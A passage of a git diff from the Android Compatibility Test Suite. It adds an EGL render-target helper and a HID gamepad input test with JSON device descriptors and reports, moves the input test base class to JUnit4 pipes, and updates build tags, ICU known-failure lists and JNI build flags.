+import static android.opengl.EGL14.EGL_WINDOW_BIT;
+import static android.opengl.EGL14.eglChooseConfig;
+import static android.opengl.EGL14.eglCreateContext;
+import static android.opengl.EGL14.eglCreatePbufferSurface;
+import static android.opengl.EGL14.eglGetDisplay;
+import static android.opengl.EGL14.eglInitialize;
+import static android.opengl.EGL14.eglMakeCurrent;
+import static android.opengl.GLES20.glDeleteTextures;
+import static android.opengl.GLES20.glGenTextures;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Message;
+import android.view.Surface;
+
+public final class RenderTarget {
+    private static final int SETUP_THREAD = 1;
+    private static final int CREATE_SINK = 2;
+    private static final int DESTROY_SINK = 3;
+    private static final int UPDATE_TEX_IMAGE = 4;
+
+    private static final Handler sHandler;
+    static {
+        HandlerThread thread = new HandlerThread("RenderTarget-GL");
+        thread.start();
+        sHandler = new Handler(thread.getLooper(), new RenderTargetThread());
+        sHandler.sendEmptyMessage(SETUP_THREAD);
+    }
+
+    public static RenderTarget create() {
+        GenericFuture<RenderTarget> future = new GenericFuture<>();
+        Message.obtain(sHandler, CREATE_SINK, future).sendToTarget();
+        try {
+            return future.get();
+        } catch (InterruptedException e) {
+            throw new RuntimeException("Failed to createSink()", e);
+        }
+    }
+
+    private final SurfaceTexture mSurfaceTexture;
+    private final int mGlTexId;
+    private Surface mSurface;
+
+    private RenderTarget(SurfaceTexture surfaceTexture, int glTexId) {
+        mSurfaceTexture = surfaceTexture;
+        mGlTexId = glTexId;
+        mSurface = new Surface(mSurfaceTexture);
+    }
+
+    public Surface getSurface() {
+        return mSurface;
+    }
+
+    public void setDefaultSize(int width, int height) {
+        mSurfaceTexture.setDefaultBufferSize(width, height);
+    }
+
+    public void destroy() {
+        mSurface = null;
+        Message.obtain(sHandler, DESTROY_SINK, this).sendToTarget();
+    }
+
+    private static class RenderTargetThread implements Handler.Callback,
+            SurfaceTexture.OnFrameAvailableListener {
+        @Override
+        public boolean handleMessage(Message msg) {
+            switch (msg.what) {
+                case SETUP_THREAD:
+                    setupThread();
+                    return true;
+                case CREATE_SINK:
+                    createSink((GenericFuture<RenderTarget>) msg.obj);
+                    return true;
+                case DESTROY_SINK:
+                    destroySink((RenderTarget) msg.obj);
+                    return true;
+                case UPDATE_TEX_IMAGE:
+                    updateTexImage((SurfaceTexture) msg.obj);
+                default:
+                    return false;
+            }
+        }
+
+        private void createSink(GenericFuture<RenderTarget> sinkFuture) {
+            int[] tex = new int[1];
+            glGenTextures(1, tex, 0);
+            SurfaceTexture texture = new SurfaceTexture(tex[0]);
+            texture.setOnFrameAvailableListener(this);
+            sinkFuture.setResult(new RenderTarget(texture, tex[0]));
+        }
+
+        private void destroySink(RenderTarget sink) {
+            sHandler.removeMessages(UPDATE_TEX_IMAGE, sink.mSurfaceTexture);
+            sink.mSurfaceTexture.setOnFrameAvailableListener(null);
+            sink.mSurfaceTexture.release();
+            glDeleteTextures(1, new int[] { sink.mGlTexId }, 0);
+        }
+
+        private void updateTexImage(SurfaceTexture texture) {
+            texture.updateTexImage();
+        }
+
+        private void setupThread() {
+            EGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
+            if (display == null) {
+                throw new IllegalStateException("eglGetDisplay failed");
+            }
+            int[] version = new int[2];
+            if (!eglInitialize(display, version, 0, version, 1)) {
+                throw new IllegalStateException("eglInitialize failed");
+            }
+            final int[] egl_attribs = new int[] {
+                    EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+                    EGL_RED_SIZE, 8,
+                    EGL_GREEN_SIZE, 8,
+                    EGL_BLUE_SIZE, 8,
+                    EGL_ALPHA_SIZE, 8,
+                    EGL_DEPTH_SIZE, 0,
+                    EGL_CONFIG_CAVEAT, EGL_NONE,
+                    EGL_SURFACE_TYPE, EGL_WINDOW_BIT,
+                    EGL_NONE
+            };
+            EGLConfig[] configs = new EGLConfig[1];
+            int[] num_configs = new int[1];
+            if (!eglChooseConfig(display, egl_attribs, 0, configs, 0, 1, num_configs, 0)
+                    || num_configs[0] <= 0 || configs[0] == null) {
+                throw new IllegalStateException("eglChooseConfig failed");
+            }
+            EGLConfig config = configs[0];
+            final int[] gl_attribs = new int[] {
+                    EGL_CONTEXT_CLIENT_VERSION, 2,
+                    EGL_NONE
+            };
+            EGLContext context = eglCreateContext(display, config, EGL_NO_CONTEXT, gl_attribs, 0);
+            if (context == null) {
+                throw new IllegalStateException("eglCreateContext failed");
+            }
+            final int[] pbuffer_attribs = new int[] { EGL_WIDTH, 1, EGL_HEIGHT, 1, EGL_NONE };
+            EGLSurface pbuffer = eglCreatePbufferSurface(display, config, pbuffer_attribs, 0);
+            if (pbuffer == null) {
+                throw new IllegalStateException("create pbuffer surface failed");
+            }
+            if (!eglMakeCurrent(display, pbuffer, pbuffer, context)) {
+                throw new IllegalStateException("Failed to make current");
+            }
+        }
+
+        @Override
+        public void onFrameAvailable(SurfaceTexture surfaceTexture) {
+            Message.obtain(sHandler, UPDATE_TEX_IMAGE, surfaceTexture).sendToTarget();
+        }
+    }
+
+    private static class GenericFuture<T> {
+        private boolean mHasResult = false;
+        private T mResult;
+        public void setResult(T result) {
+            synchronized (this) {
+                if (mHasResult) {
+                    throw new IllegalStateException("Result already set");
+                }
+                mHasResult = true;
+                mResult = result;
+                notifyAll();
+            }
+        }
+
+        public T get() throws InterruptedException {
+            synchronized (this) {
+                while (!mHasResult) {
+                    wait();
+                }
+                return mResult;
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index 4a05b85..17edc3f 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -99,7 +99,7 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        if (sTransitionScaleBefore != Float.NaN) {
+        if (!Float.isNaN(sTransitionScaleBefore)) {
             SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
                     "settings put global transition_animation_scale " +
                             sTransitionScaleBefore);
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 957c012..68e7e50 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MULTILIB := both
 
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_down.json b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
new file mode 100644
index 0000000..21f5186
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
@@ -0,0 +1,5 @@
+{
+  "id": 1,
+  "command": "report",
+  "report": [0x01, 0x01, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
+}
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_up.json b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
new file mode 100644
index 0000000..ab1eb0e
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
@@ -0,0 +1,5 @@
+{
+  "id": 1,
+  "command": "report",
+  "report": [0x01, 0x00, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
+}
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_delay.json b/tests/tests/hardware/res/raw/gamepad_delay.json
new file mode 100644
index 0000000..a25c3dd
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_delay.json
@@ -0,0 +1,5 @@
+{
+  "id": 1,
+  "command": "delay",
+  "duration": 10
+}
diff --git a/tests/tests/hardware/res/raw/gamepad_press_a.json b/tests/tests/hardware/res/raw/gamepad_press_a.json
deleted file mode 100644
index ff3ca4f..0000000
--- a/tests/tests/hardware/res/raw/gamepad_press_a.json
+++ /dev/null
@@ -1,39 +0,0 @@
-{
-    "id": 1,
-    "command": "register",
-    "name": "Odie (Test)",
-    "vid": 0x18d1,
-    "pid": 0x2c40,
-    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
-        0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
-        0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
-        0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
-        0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
-        0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
-        0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
-        0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
-        0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
-        0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
-        0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
-        0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
-        0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0],
-    "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
-
-{
-    "id": 1,
-    "command": "report",
-    "report": [0x01, 0x01, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
-
-{
-    "id": 1,
-    "command": "delay",
-    "duration": 10
-}
-
-{
-    "id": 1,
-    "command": "report",
-    "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
diff --git a/tests/tests/hardware/res/raw/gamepad_register_device.json b/tests/tests/hardware/res/raw/gamepad_register_device.json
new file mode 100644
index 0000000..cfd71eb
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_register_device.json
@@ -0,0 +1,20 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Odie (Test)",
+  "vid": 0x18d1,
+  "pid": 0x2c40,
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
+    0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
+    0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
+    0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
+    0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
+    0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
+    0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
+    0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
+    0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
+    0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
+    0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
+    0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
+    0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
index accdcaf..b4bda4e 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
@@ -22,4 +22,7 @@
 public interface InputCallback {
     public void onKeyEvent(KeyEvent ev);
     public void onMotionEvent(MotionEvent ev);
+    public void onInputDeviceAdded(int deviceId);
+    public void onInputDeviceRemoved(int deviceId);
+    public void onInputDeviceChanged(int deviceId);
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index b16cadb..72aa056 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -17,15 +17,28 @@
 package android.hardware.input.cts;
 
 import android.app.Activity;
+import android.content.Context;
+import android.hardware.input.InputManager;
+import android.hardware.input.InputManager.InputDeviceListener;
+import android.os.Bundle;
+import android.util.Log;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
-import java.util.ArrayList;
-import java.util.List;
+public class InputCtsActivity extends Activity implements InputDeviceListener {
+    private static final String TAG = "InputCtsActivity";
 
-public class InputCtsActivity extends Activity {
     private InputCallback mInputCallback;
 
+    private InputManager mInputManager;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mInputManager = getApplicationContext().getSystemService(InputManager.class);
+        mInputManager.registerInputDeviceListener(this, null);
+    }
+
     @Override
     public boolean dispatchGenericMotionEvent(MotionEvent ev) {
         if (mInputCallback != null) {
@@ -61,4 +74,20 @@
     public void setInputCallback(InputCallback callback) {
         mInputCallback = callback;
     }
+
+    @Override
+    public void onInputDeviceAdded(int deviceId) {
+        mInputCallback.onInputDeviceAdded(deviceId);
+    }
+
+    @Override
+    public void onInputDeviceRemoved(int deviceId) {
+        mInputCallback.onInputDeviceRemoved(deviceId);
+    }
+
+    @Override
+    public void onInputDeviceChanged(int deviceId) {
+        mInputManager.getInputDevice(deviceId); // if this isn't called, won't get new notifications
+        mInputCallback.onInputDeviceChanged(deviceId);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
new file mode 100644
index 0000000..e44bcb4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.hardware.cts.R;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GamepadTestCase extends InputTestCase {
+    private static final String TAG = "GamepadTests";
+
+    @Test
+    public void testButtonA() throws Exception {
+        registerInputDevice(R.raw.gamepad_register_device);
+
+        sendHidCommands(R.raw.gamepad_button_a_down);
+        sendHidCommands(R.raw.gamepad_delay);
+        assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
+
+        sendHidCommands(R.raw.gamepad_button_a_up);
+        assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
+
+        assertNoMoreEvents();
+    }
+}
+
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index fba5f51..18a7e64 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -16,68 +16,88 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
 import android.app.UiAutomation;
-import android.hardware.input.cts.InputCtsActivity;
 import android.hardware.input.cts.InputCallback;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
+import android.hardware.input.cts.InputCtsActivity;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
 import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileWriter;
-import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.OutputStream;
-import java.io.Writer;
-import java.util.ArrayList;
+
 import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
-import java.util.List;
-import java.util.UUID;
 
-public class InputTestCase extends ActivityInstrumentationTestCase2<InputCtsActivity> {
-    private static final String TAG = "InputTestCase";
-    private static final String HID_EXECUTABLE = "hid";
-    private static final int SHELL_UID = 2000;
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
+public class InputTestCase {
+    // hid executable expects "-" argument to read from stdin instead of a file
+    private static final String HID_COMMAND = "hid -";
     private static final String[] KEY_ACTIONS = {"DOWN", "UP", "MULTIPLE"};
 
-    private File mFifo;
-    private Writer mWriter;
+    private OutputStream mOutputStream;
 
-    private BlockingQueue<KeyEvent> mKeys;
-    private BlockingQueue<MotionEvent> mMotions;
+    private final BlockingQueue<KeyEvent> mKeys;
+    private final BlockingQueue<MotionEvent> mMotions;
     private InputListener mInputListener;
 
+    private Instrumentation mInstrumentation;
+
+    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+
     public InputTestCase() {
-        super(InputCtsActivity.class);
         mKeys = new LinkedBlockingQueue<KeyEvent>();
         mMotions = new LinkedBlockingQueue<MotionEvent>();
         mInputListener = new InputListener();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mFifo = setupFifo();
+    @Rule
+    public ActivityTestRule<InputCtsActivity> mActivityRule =
+        new ActivityTestRule<>(InputCtsActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
         clearKeys();
         clearMotions();
-        getActivity().setInputCallback(mInputListener);
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivityRule.getActivity().setInputCallback(mInputListener);
+        setupPipes();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        if (mFifo != null) {
-            mFifo.delete();
-            mFifo = null;
+    @After
+    public void tearDown() throws Exception {
+        IoUtils.closeQuietly(mOutputStream);
+    }
+
+    /**
+     * Register an input device. May cause a failure if the device added notification
+     * is not received within the timeout period
+     *
+     * @param resourceId The resource id from which to send the register command.
+     */
+    public void registerInputDevice(int resourceId) {
+        mDeviceAddedSignal = new CountDownLatch(1);
+        sendHidCommands(resourceId);
+        try {
+            mDeviceAddedSignal.await(2L, TimeUnit.SECONDS);
+        } catch (InterruptedException ex) {
+            fail("Device added notification was not received within the allotted time.");
         }
-        closeQuietly(mWriter);
-        mWriter = null;
-        super.tearDown();
     }
 
     /**
@@ -89,9 +109,8 @@
      */
     public void sendHidCommands(int id) {
         try {
-            Writer w = getWriter();
-            w.write(getEvents(id));
-            w.flush();
+            mOutputStream.write(getEvents(id).getBytes());
+            mOutputStream.flush();
         } catch (IOException e) {
             throw new RuntimeException(e);
         }
@@ -153,40 +172,20 @@
         mMotions.clear();
     }
 
-    private File setupFifo() throws ErrnoException {
-        File dir = getActivity().getCacheDir();
-        String filename = dir.getAbsolutePath() + File.separator +  UUID.randomUUID().toString();
-        Os.mkfifo(filename, 0666);
-        File f = new File(filename);
-        return f;
-    }
+    private void setupPipes() throws IOException {
+        UiAutomation ui = mInstrumentation.getUiAutomation();
+        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
 
-    private Writer getWriter() throws IOException {
-        if (mWriter == null) {
-            UiAutomation ui = getInstrumentation().getUiAutomation();
-            ui.executeShellCommand("hid " + mFifo.getAbsolutePath());
-            mWriter = new FileWriter(mFifo);
-        }
-        return mWriter;
+        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+        IoUtils.closeQuietly(pipes[0]); // hid command is write-only
     }
 
     private String getEvents(int id) throws IOException {
         InputStream is =
-            getInstrumentation().getTargetContext().getResources().openRawResource(id);
+            mInstrumentation.getTargetContext().getResources().openRawResource(id);
         return readFully(is);
     }
 
-
-    private static void closeQuietly(AutoCloseable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) { }
-        }
-    }
-
     private static String readFully(InputStream is) throws IOException {
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         int read = 0;
@@ -198,6 +197,7 @@
     }
 
     private class InputListener implements InputCallback {
+        @Override
         public void onKeyEvent(KeyEvent ev) {
             boolean done = false;
             do {
@@ -208,6 +208,7 @@
             } while (!done);
         }
 
+        @Override
         public void onMotionEvent(MotionEvent ev) {
             boolean done = false;
             do {
@@ -217,5 +218,20 @@
                 } catch (InterruptedException ignore) { }
             } while (!done);
         }
+
+        @Override
+        public void onInputDeviceAdded(int deviceId) {
+            mDeviceAddedSignal.countDown();
+        }
+
+        @Override
+        public void onInputDeviceRemoved(int deviceId) {
+        }
+
+        @Override
+        public void onInputDeviceChanged(int deviceId) {
+        }
     }
+
+
 }
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 45fed49..4a65c44 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@
 	android-icu4j-tests
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsIcuTestCases
 
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 2f8f611..be33fd2 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS ICU test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index ebcbd78..a2e6dc4 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -11,45 +11,16 @@
 },
 */
 {
-  description: "Class cannot be instantiated, cannot find resources android/icu/dev/test/serializable/data",
-  name: "android.icu.dev.test.serializable.CompatibilityTest",
-  bug: "27310873"
-},
-{
-  description: "Cannot find any classes to test because .class files are not treated as resources in APK",
-  name: "android.icu.dev.test.serializable.CoverageTest",
-  bug: "27666677"
-},
-{
   description: "Serialized forms have not been converted to use repackaged classes",
   name: "android.icu.dev.test.format.NumberFormatRegressionTest#TestSerialization",
   bug: "27374606"
 },
 {
-  description: "android.icu.charset package not available in repackaged Android library",
-  names: [
-    "android.icu.dev.test.charset.TestCharset",
-    "android.icu.dev.test.charset.TestConversion",
-    "android.icu.dev.test.charset.TestSelection"
-  ],
-  bug: "27373370"
-},
-{
   description: "Fails on host and on device in same way before and after packaging",
   name: "android.icu.dev.test.bidi.TestCompatibility#testCompatibility",
   bug: "23995372"
 },
 {
-  description: "Problem with negative multiplier, not a regression",
-  name: "android.icu.dev.test.format.NumberFormatTest#TestNonpositiveMultiplier",
-  bug: "19185440"
-},
-{
-  description: "Wrong case for exponent separator",
-  name: "android.icu.dev.test.format.PluralRulesTest#testOverUnderflow",
-  bug: "27566754"
-},
-{
   description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
   name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
   bug: "27711713"
diff --git a/tests/tests/incident/Android.mk b/tests/tests/incident/Android.mk
index 7d07ec0..bb83dda 100644
--- a/tests/tests/incident/Android.mk
+++ b/tests/tests/incident/Android.mk
@@ -27,12 +27,13 @@
 LOCAL_PACKAGE_NAME := CtsIncidentTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 #LOCAL_SDK_VERSION := current
 LOCAL_JAVA_LIBRARIES += android.test.runner
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-        ctstestrunner
+        ctstestrunner \
+	legacy-android-test
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/incident/AndroidTest.xml b/tests/tests/incident/AndroidTest.xml
index e61f381..e42da3d 100644
--- a/tests/tests/incident/AndroidTest.xml
+++ b/tests/tests/incident/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Configuration for Incident Tests">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="metrics" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jni/Android.mk b/tests/tests/jni/Android.mk
index 7672d2f..6a6c33e 100644
--- a/tests/tests/jni/Android.mk
+++ b/tests/tests/jni/Android.mk
@@ -28,11 +28,12 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
 LOCAL_JNI_SHARED_LIBRARIES := \
+  libjni_test_dlclose \
   libjninamespacea1 \
   libjninamespacea2 \
   libjninamespaceb \
diff --git a/tests/tests/jni/libjnicommon/Android.mk b/tests/tests/jni/libjnicommon/Android.mk
index 0f8044e..09ad43b 100644
--- a/tests/tests/jni/libjnicommon/Android.mk
+++ b/tests/tests/jni/libjnicommon/Android.mk
@@ -27,6 +27,8 @@
 
 LOCAL_SRC_FILES := common.cpp
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
 LOCAL_SHARED_LIBRARIES := libdl liblog libnativehelper_compat_libc++
diff --git a/tests/tests/jni/libjninamespacea1/Android.mk b/tests/tests/jni/libjninamespacea1/Android.mk
index 8016c50..f331abf 100644
--- a/tests/tests/jni/libjninamespacea1/Android.mk
+++ b/tests/tests/jni/libjninamespacea1/Android.mk
@@ -27,6 +27,8 @@
 
 LOCAL_SRC_FILES := namespacea1.cpp
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
 
 LOCAL_LDLIBS += -llog
diff --git a/tests/tests/jni/libjninamespacea1/namespacea1.cpp b/tests/tests/jni/libjninamespacea1/namespacea1.cpp
index decb4f1..8a79c3c 100644
--- a/tests/tests/jni/libjninamespacea1/namespacea1.cpp
+++ b/tests/tests/jni/libjninamespacea1/namespacea1.cpp
@@ -18,7 +18,7 @@
 
 #include <android/log.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
